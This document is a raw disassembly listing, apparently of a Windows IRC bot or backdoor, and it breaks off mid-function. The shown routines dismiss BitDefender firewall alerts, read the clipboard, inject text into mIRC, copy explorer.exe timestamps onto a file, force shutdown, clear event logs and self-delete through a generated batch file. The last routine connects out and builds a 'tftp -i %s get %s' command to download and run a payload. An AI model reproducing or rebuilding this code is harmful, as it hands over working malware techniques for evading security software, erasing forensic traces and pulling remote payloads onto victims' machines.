loc_41A14C:				; CODE XREF: .XComp0:0041A140j
		jmp	short loc_41A1AE
; ---------------------------------------------------------------------------


loc_41A14E:				; CODE XREF: .XComp0:0041A121j
		push	offset aBitdefenderFir ; "BitDefender Firewall Alert"
		push	0
		call	dword_4E170C	; FindWindowA
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41A1A1
		push	0
		push	4Dh
		push	111h
		push	dword ptr [ebp-4]
		call	dword_4E175C	; SendMessageA
		push	0
		push	1
		push	111h
		push	dword ptr [ebp-4]
		call	dword_4E175C	; SendMessageA


loc_41A188:				; CODE XREF: .XComp0:0041A19Dj
		push	dword ptr [ebp-4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_41A19F
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_41A188
; ---------------------------------------------------------------------------


loc_41A19F:				; CODE XREF: .XComp0:0041A193j
		jmp	short loc_41A1AE
; ---------------------------------------------------------------------------


loc_41A1A1:				; CODE XREF: .XComp0:0041A162j
		push	1Eh
		call	near ptr 27B048Ah
		nop
		jmp	loc_41A0FE
; ---------------------------------------------------------------------------


loc_41A1AE:				; CODE XREF: .XComp0:0041A103j
					; .XComp0:loc_41A14Cj ...
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B4	proc near		; CODE XREF: sub_4021E5+13B7p
					; sub_4021E5+1407p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_41A1D9
		cmp	[ebp+arg_4], 0
		jz	short loc_41A1D9
		cmp	[ebp+arg_8], 0
		jz	short loc_41A1D9
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41A1E0


loc_41A1D9:				; CODE XREF: sub_41A1B4+Dj
					; sub_41A1B4+13j ...
		xor	eax, eax
		jmp	locret_41A27E
; ---------------------------------------------------------------------------


loc_41A1E0:				; CODE XREF: sub_41A1B4+23j
		push	[ebp+arg_0]
		call	sub_43D7C0
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_41A27B
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A272
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_8]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_422A20
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		push	ecx
		push	[ebp+var_8]
		call	sub_422590
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_422580
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41A272:				; CODE XREF: sub_41A1B4+56j
		push	[ebp+var_8]
		call	sub_41F930
		pop	ecx


loc_41A27B:				; CODE XREF: sub_41A1B4+3Cj
		mov	eax, [ebp+var_4]

locret_41A27E:				; CODE XREF: sub_41A1B4+27j
		leave
		retn
sub_41A1B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A280	proc near		; CODE XREF: sub_401FD0+122p
					; sub_415BB9+134p

var_7DC		= dword	ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7DCh
		and	[ebp+var_7DC], 0
		push	7D0h
		push	0
		lea	eax, [ebp+var_7D0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_7D8], eax
		cmp	[ebp+var_7D8], 1
		jge	short loc_41A2C6
		or	eax, 0FFFFFFFFh
		jmp	locret_41A3D8
; ---------------------------------------------------------------------------


loc_41A2C6:				; CODE XREF: sub_41A280+3Cj
		mov	eax, [ebp+var_7DC]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_7D0], ecx
		mov	eax, [ebp+var_7DC]
		inc	eax
		mov	[ebp+var_7DC], eax
		and	[ebp+var_7D4], 0
		jmp	short loc_41A2F9
; ---------------------------------------------------------------------------


loc_41A2EC:				; CODE XREF: sub_41A280:loc_41A335j
		mov	eax, [ebp+var_7D4]
		inc	eax
		mov	[ebp+var_7D4], eax


loc_41A2F9:				; CODE XREF: sub_41A280+6Aj
		mov	eax, [ebp+var_7D4]
		cmp	eax, [ebp+var_7D8]
		jge	short loc_41A337
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_7D4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_41A329
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_7D4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_41A335


loc_41A329:				; CODE XREF: sub_41A280+96j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_7D4]
		and	byte ptr [eax],	0


loc_41A335:				; CODE XREF: sub_41A280+A7j
		jmp	short loc_41A2EC
; ---------------------------------------------------------------------------


loc_41A337:				; CODE XREF: sub_41A280+85j
		and	[ebp+var_7D4], 0
		jmp	short loc_41A34D
; ---------------------------------------------------------------------------


loc_41A340:				; CODE XREF: sub_41A280:loc_41A3B3j
		mov	eax, [ebp+var_7D4]
		inc	eax
		mov	[ebp+var_7D4], eax


loc_41A34D:				; CODE XREF: sub_41A280+BEj
		mov	eax, [ebp+var_7D4]
		cmp	eax, [ebp+var_7D8]
		jge	short loc_41A3B5
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_7D4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41A3B3
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	short loc_41A3B3
		cmp	[ebp+var_7DC], 1F4h
		jge	short loc_41A3B1
		mov	eax, [ebp+var_7D4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	ecx, [ebp+var_7DC]
		mov	[ebp+ecx*4+var_7D0], eax
		mov	eax, [ebp+var_7DC]
		inc	eax
		mov	[ebp+var_7DC], eax
		jmp	short loc_41A3B3
; ---------------------------------------------------------------------------


loc_41A3B1:				; CODE XREF: sub_41A280+106j
		jmp	short loc_41A3B5
; ---------------------------------------------------------------------------


loc_41A3B3:				; CODE XREF: sub_41A280+E9j
					; sub_41A280+FAj ...
		jmp	short loc_41A340
; ---------------------------------------------------------------------------


loc_41A3B5:				; CODE XREF: sub_41A280+D9j
					; sub_41A280:loc_41A3B1j
		cmp	[ebp+arg_4], 0
		jz	short loc_41A3D2
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	eax
		push	[ebp+arg_4]
		call	sub_422B50
		add	esp, 0Ch


loc_41A3D2:				; CODE XREF: sub_41A280+139j
		mov	eax, [ebp+var_7DC]

locret_41A3D8:				; CODE XREF: sub_41A280+41j
		leave
		retn
sub_41A280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3DA	proc near		; CODE XREF: sub_41A46C+39p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		and	[ebp+var_4], 0
		jmp	short loc_41A3ED
; ---------------------------------------------------------------------------


loc_41A3E6:				; CODE XREF: sub_41A3DA+28j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41A3ED:				; CODE XREF: sub_41A3DA+Aj
		cmp	[ebp+var_4], 1F4h
		jge	short loc_41A404
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax*4], edx
		jmp	short loc_41A3E6
; ---------------------------------------------------------------------------


loc_41A404:				; CODE XREF: sub_41A3DA+1Aj
		and	[ebp+var_8], 0
		jmp	short loc_41A411
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3DA+5Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41A411:				; CODE XREF: sub_41A3DA+2Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		cmp	[ebp+var_8], eax
		jg	short loc_41A438
		mov	esi, [ebp+arg_4]
		sub	esi, [ebp+var_8]
		dec	esi
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		push	eax
		call	sub_41A43B
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx+eax*4], esi
		jmp	short loc_41A40A
; ---------------------------------------------------------------------------


loc_41A438:				; CODE XREF: sub_41A3DA+3Ej
		pop	esi
		leave
		retn
sub_41A3DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A43B	proc near		; CODE XREF: sub_41A3DA+50p
					; sub_41A46C+BFp

var_4		= byte ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		movsx	eax, [ebp+arg_0]
		push	eax
		call	sub_4243A0
		pop	ecx
		mov	[ebp+var_4], al
		movsx	eax, [ebp+var_4]
		cmp	eax, 61h
		jl	short loc_41A468
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_41A468
		movsx	eax, [ebp+var_4]
		sub	eax, 60h
		jmp	short locret_41A46A
; ---------------------------------------------------------------------------


loc_41A468:				; CODE XREF: sub_41A43B+19j
					; sub_41A43B+22j
		xor	eax, eax

locret_41A46A:				; CODE XREF: sub_41A43B+2Bj
		leave
		retn
sub_41A43B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A46C	proc near		; CODE XREF: .XComp0:00417571p
					; sub_4175F6+3Ap ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_421EE0
		push	esi
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_1010],	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	[ebp+var_1010]
		push	[ebp+arg_4]
		call	sub_41A3DA
		add	esp, 0Ch
		mov	eax, [ebp+var_1010]
		dec	eax
		mov	[ebp+var_100C],	eax
		mov	eax, [ebp+var_100C]
		mov	[ebp+var_1008],	eax
		jmp	short loc_41A4E2
; ---------------------------------------------------------------------------


loc_41A4C8:				; CODE XREF: sub_41A46C:loc_41A5A5j
		mov	eax, [ebp+var_1008]
		dec	eax
		mov	[ebp+var_1008],	eax
		mov	eax, [ebp+var_100C]
		dec	eax
		mov	[ebp+var_100C],	eax


loc_41A4E2:				; CODE XREF: sub_41A46C+5Aj
		cmp	[ebp+var_100C],	0
		jle	loc_41A5AA


loc_41A4EF:				; CODE XREF: sub_41A46C+134j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_1008]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_4243A0
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_100C]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_4243A0
		pop	ecx
		cmp	esi, eax
		jz	loc_41A5A5
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_1008]
		mov	al, [eax]
		push	eax
		call	sub_41A43B
		pop	ecx
		mov	eax, [ebp+eax*4+var_1004]
		mov	[ebp+var_1014],	eax
		mov	eax, [ebp+var_1010]
		sub	eax, [ebp+var_100C]
		cmp	eax, [ebp+var_1014]
		jle	short loc_41A566
		mov	eax, [ebp+var_1010]
		sub	eax, [ebp+var_100C]
		mov	[ebp+var_1018],	eax
		jmp	short loc_41A572
; ---------------------------------------------------------------------------


loc_41A566:				; CODE XREF: sub_41A46C+E4j
		mov	eax, [ebp+var_1014]
		mov	[ebp+var_1018],	eax


loc_41A572:				; CODE XREF: sub_41A46C+F8j
		mov	eax, [ebp+var_1008]
		add	eax, [ebp+var_1018]
		mov	[ebp+var_1008],	eax
		mov	eax, [ebp+var_1008]
		cmp	eax, [ebp+var_4]
		jl	short loc_41A593
		xor	eax, eax
		jmp	short loc_41A5B3
; ---------------------------------------------------------------------------


loc_41A593:				; CODE XREF: sub_41A46C+121j
		mov	eax, [ebp+var_1010]
		dec	eax
		mov	[ebp+var_100C],	eax
		jmp	loc_41A4EF
; ---------------------------------------------------------------------------


loc_41A5A5:				; CODE XREF: sub_41A46C+ADj
		jmp	loc_41A4C8
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A46C+7Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_1008]


loc_41A5B3:				; CODE XREF: sub_41A46C+125j
		pop	esi
		leave
		retn
sub_41A46C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5B6	proc near		; CODE XREF: sub_4021E5+4E8Dp
					; sub_4021E5+71D7p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		call	near ptr 27B0F7Fh
		nop
		mov	[ebp+var_108], eax
		push	0
		push	100h
		lea	eax, [ebp+var_104]
		push	eax
		push	400h
		push	[ebp+var_108]
		push	0
		push	1200h
		nop
		call	near ptr 28C0000h
		lea	eax, [ebp+var_104]
		mov	[ebp+var_4], eax


loc_41A5FA:				; CODE XREF: sub_41A5B6+61j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_41A610
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 9
		jnz	short loc_41A619


loc_41A610:				; CODE XREF: sub_41A5B6+4Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A619:				; CODE XREF: sub_41A5B6+58j
					; sub_41A5B6+86j ...
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_104]
		cmp	eax, ecx
		jb	short loc_41A649
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_41A619
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jl	short loc_41A619


loc_41A649:				; CODE XREF: sub_41A5B6+7Bj
		push	[ebp+var_108]
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	offset dword_4E865C
		call	sub_421B90
		add	esp, 18h
		mov	eax, offset dword_4E865C
		leave
		retn
sub_41A5B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A677	proc near		; CODE XREF: sub_4021E5+3338p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		call	dword_4E16D0	; OpenClipboard
		test	eax, eax
		jz	short loc_41A6BD
		push	1
		call	dword_4E16F0	; GetClipboardData
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41A69D
		xor	eax, eax
		jmp	short locret_41A6BF
; ---------------------------------------------------------------------------


loc_41A69D:				; CODE XREF: sub_41A677+20j
		push	[ebp+var_4]
		nop
		call	near ptr 28D0000h
		mov	[ebp+var_8], eax
		push	[ebp+var_4]
		nop
		call	near ptr 28C07A2h
		call	dword_4E1754	; CloseClipboard
		mov	eax, [ebp+var_8]
		jmp	short locret_41A6BF
; ---------------------------------------------------------------------------


loc_41A6BD:				; CODE XREF: sub_41A677+Fj
		xor	eax, eax

locret_41A6BF:				; CODE XREF: sub_41A677+24j
					; sub_41A677+44j
		leave
		retn
sub_41A677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6C1	proc near		; CODE XREF: sub_4021E5+52CDp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	0
		push	offset aMirc_2	; "mIRC"
		call	dword_4E170C	; FindWindowA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A757
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		nop
		call	near ptr 28D06EAh
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	near ptr 28D04CEh
		nop
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4E175C	; SendMessageA
		push	[ebp+var_C]
		call	near ptr 26F0000h
		nop
		push	[ebp+var_8]
		nop
		call	near ptr 2790578h
		push	1
		pop	eax
		jmp	short locret_41A759
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6C1+1Aj
		xor	eax, eax

locret_41A759:				; CODE XREF: sub_41A6C1+94j
		leave
		retn
sub_41A6C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A75B	proc near		; CODE XREF: sub_4016A7+28Ap

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_114		= byte ptr -114h
var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		push	0
		push	offset aExplorer_exe ; "explorer.exe"
		push	0
		call	dword_4E17BC	; SearchPathA
		test	eax, eax
		jnz	short loc_41A78A
		jmp	locret_41A836
; ---------------------------------------------------------------------------


loc_41A78A:				; CODE XREF: sub_41A75B+28j
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 28713A9h
		nop
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_41A836
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_120]
		nop
		call	near ptr 28E06EDh
		push	[ebp+var_120]
		call	near ptr 2790578h
		nop
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		nop
		call	near ptr 28713A9h
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_41A836
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_120]
		call	near ptr 28E0000h
		nop
		push	[ebp+var_120]
		nop
		call	near ptr 2790578h

locret_41A836:				; CODE XREF: sub_41A75B+2Aj
					; sub_41A75B+5Bj ...
		leave
		retn
sub_41A75B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	10h
		push	0
		lea	eax, [ebp-454h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp-444h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	dword ptr [ebp-444h], 44h
		mov	dword ptr [ebp-418h], 1
		and	word ptr [ebp-414h], 0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	offset aSS_4	; "%s %s"
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_421B90
		add	esp, 14h
		lea	eax, [ebp-454h]
		push	eax
		lea	eax, [ebp-444h]
		push	eax
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		lea	eax, [ebp-400h]
		push	eax
		push	dword ptr [ebp+8]
		nop
		call	near ptr 2790973h
		test	eax, eax
		jnz	short loc_41A8D4
		xor	eax, eax
		jmp	short locret_41A8DA
; ---------------------------------------------------------------------------


loc_41A8D4:				; CODE XREF: .XComp0:0041A8CEj
		mov	eax, [ebp-44Ch]

locret_41A8DA:				; CODE XREF: .XComp0:0041A8D2j
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8DC	proc near		; CODE XREF: sub_4021E5+26FFp
		push	ebp
		mov	ebp, esp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41CD6B
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4E1640	; ExitWindowsEx
		test	eax, eax
		jnz	short loc_41A902
		xor	eax, eax
		jmp	short loc_41A905
; ---------------------------------------------------------------------------


loc_41A902:				; CODE XREF: sub_41A8DC+20j
		push	1
		pop	eax


loc_41A905:				; CODE XREF: sub_41A8DC+24j
		pop	ebp
		retn
sub_41A8DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A907	proc near		; CODE XREF: sub_4021E5+2C7Ep

var_768		= byte ptr -768h
var_758		= dword	ptr -758h
var_74C		= dword	ptr -74Ch
var_72C		= dword	ptr -72Ch
var_728		= word ptr -728h
var_714		= byte ptr -714h
var_710		= byte ptr -710h
var_310		= byte ptr -310h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 768h
		cmp	dword_44108C, 0
		jz	short loc_41A92A
		cmp	dword_4E17D0, 0
		jnz	short loc_41A92A
		push	0
		call	sub_401000
		pop	ecx


loc_41A92A:				; CODE XREF: sub_41A907+10j
					; sub_41A907+19j
		call	sub_40D605
		lea	eax, [ebp+var_710]
		push	eax
		push	400h
		call	near ptr 27E0000h
		nop
		lea	eax, [ebp+var_710]
		push	eax
		push	offset aSdel_bat ; "%sdel.bat"
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_310]
		push	eax
		nop
		call	near ptr 28713A9h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jbe	locret_41AACE
		lea	eax, [ebp+var_310]
		push	eax
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_714]
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		push	[ebp+var_20C]
		call	near ptr 28407DDh
		nop
		push	[ebp+var_20C]
		nop
		call	near ptr 2790578h
		push	10h
		push	0
		lea	eax, [ebp+var_768]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_74C], offset dword_4E8860
		mov	[ebp+var_758], 44h
		mov	[ebp+var_72C], 1
		and	[ebp+var_728], 0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		nop
		call	near ptr 27C0753h
		push	eax
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_104]
		push	eax
		nop
		call	near ptr 27C0595h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA67
		push	80h
		lea	eax, [ebp+var_104]
		push	eax
		call	near ptr 27C0342h
		nop


loc_41AA67:				; CODE XREF: sub_41A907+14Cj
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	104h
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		nop
		call	near ptr 28F0000h
		lea	eax, [ebp+var_768]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		push	0
		push	0
		push	4008h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_208]
		push	eax
		push	0
		call	near ptr 2790973h
		nop

locret_41AACE:				; CODE XREF: sub_41A907+7Ej
		leave
		retn
sub_41A907	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAD0	proc near		; CODE XREF: sub_4021E5+6283p

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		push	94h
		push	0
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_98], 94h
		lea	eax, [ebp+var_98]
		push	eax
		nop
		call	near ptr 2820000h
		cmp	[ebp+var_88], 2
		jnz	loc_41AB9B
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4E1680	; OpenEventLogA
		mov	[ebp+var_4], eax
		push	0
		push	[ebp+var_4]
		call	dword_4E1690	; ClearEventLogA
		test	eax, eax
		jz	short loc_41AB64
		push	[ebp+arg_10]
		push	offset dword_44DF9C
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_41AB99
; ---------------------------------------------------------------------------


loc_41AB64:				; CODE XREF: sub_41AAD0+5Fj
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_44DFB8
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_41AB99:				; CODE XREF: sub_41AAD0+92j
		jmp	short locret_41ABC8
; ---------------------------------------------------------------------------


loc_41AB9B:				; CODE XREF: sub_41AAD0+3Dj
		push	offset unk_44DFE0
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h

locret_41ABC8:				; CODE XREF: sub_41AAD0:loc_41AB99j
		leave
		retn
sub_41AAD0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E1700	; ntohs
		mov	[ebp-0Eh], ax
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0FFFFFFFFh
		jnz	short loc_41AC22
		xor	al, al
		jmp	locret_41AD07
; ---------------------------------------------------------------------------


loc_41AC22:				; CODE XREF: .XComp0:0041AC19j
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AC3D
		xor	al, al
		jmp	locret_41AD07
; ---------------------------------------------------------------------------


loc_41AC3D:				; CODE XREF: .XComp0:0041AC34j
		push	0
		push	400h
		lea	eax, [ebp-418h]
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4E1718	; recv
		mov	[ebp-18h], eax
		push	offset byte_4410E8
		push	offset byte_4410E8
		push	dword ptr [ebp+8]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		push	190h
		lea	eax, [ebp-5A8h]
		push	eax
		call	sub_421B90
